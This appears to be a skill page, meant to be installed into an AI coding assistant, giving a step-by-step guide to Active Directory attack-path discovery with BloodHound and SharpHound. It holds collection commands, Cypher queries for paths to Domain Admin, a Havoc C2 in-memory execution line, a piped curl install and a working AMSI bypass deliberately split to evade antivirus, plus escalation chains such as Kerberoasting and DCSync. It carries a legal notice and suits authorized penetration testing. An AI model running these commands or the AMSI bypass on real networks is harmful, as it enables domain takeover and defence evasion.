Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
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["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"]
nist_csf
["ID.RA-01","GV.OV-02","DE.AE-07"]
Performing Active Directory BloodHound Analysis
Overview
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
When to Use
When conducting security assessments that involve performing active directory bloodhound analysis
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Most Often Missed & How to Confirm
Run SharpHound.exe -c All, not the default set: ACLs, ADCS/CertServices, LocalGroup/RDP/DCOM, Sessions, and GPOLocalGroup are the edges that build paths. A "-c Default" or "-c DCOnly" run silently drops AdminTo, HasSession, and ESC1-ESC8 cert edges and makes a vulnerable domain look clean.
Session data is the most commonly missed: run -c Session --loop --loopduration 02:00:00 over time, since a single snapshot misses the DA logon that completes the path.
ADCS is frequently skipped — without the CE certificate edges you never see ESC1 (Enroll + EnrollmentAgent) or ESC8 (NTLM relay to web enrollment) paths.
Mark owned/high-value nodes (right-click > Mark as Owned) before running shortestPath; unmarked graphs return "no path" even when one exists.
Positive signal: a non-empty shortestPath to DOMAIN ADMINS@<DOMAIN> returned in the GUI, or a Cypher count > 0 for Kerberoastable/DCSync/Unconstrained nodes.
Don't conclude "no attack path" until: (1) collection used -c All with no LDAP/collection errors in the SharpHound log, (2) at least one looped Session collection completed, (3) ADCS/cert data imported, (4) your foothold user is marked Owned, and (5) you checked cross-domain/forest edges (TrustedBy) — a path may only exist through a trusted domain.
Prerequisites
Initial foothold on a domain-joined Windows system (or valid domain credentials)
BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
SharpHound collector (C# binary or PowerShell module)
Neo4j database (Legacy) or PostgreSQL (CE)
Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
Technique ID
Name
Tactic
T1087.002
Account Discovery: Domain Account
Discovery
T1069.002
Permission Groups Discovery: Domain Groups
Discovery
T1018
Remote System Discovery
Discovery
T1482
Domain Trust Discovery
Discovery
T1615
Group Policy Discovery
Discovery
T1069.001
Permission Groups Discovery: Local Groups
Discovery
Step 1: Data Collection with SharpHound
SharpHound.exe (Preferred for OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
Step 2: Import Data into BloodHound
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080# Default credentials: admin / bloodhound# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4jsudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUI
Step 3: Attack Path Analysis
Pre-Built Queries (Most Critical)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
Custom Cypher Queries
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
Step 4: Common Attack Paths
Path 1: Kerberoasting to DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
Path 2: ACL Abuse Chain
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
Path 3: Unconstrained Delegation
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
Path 4: GPO Abuse
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM
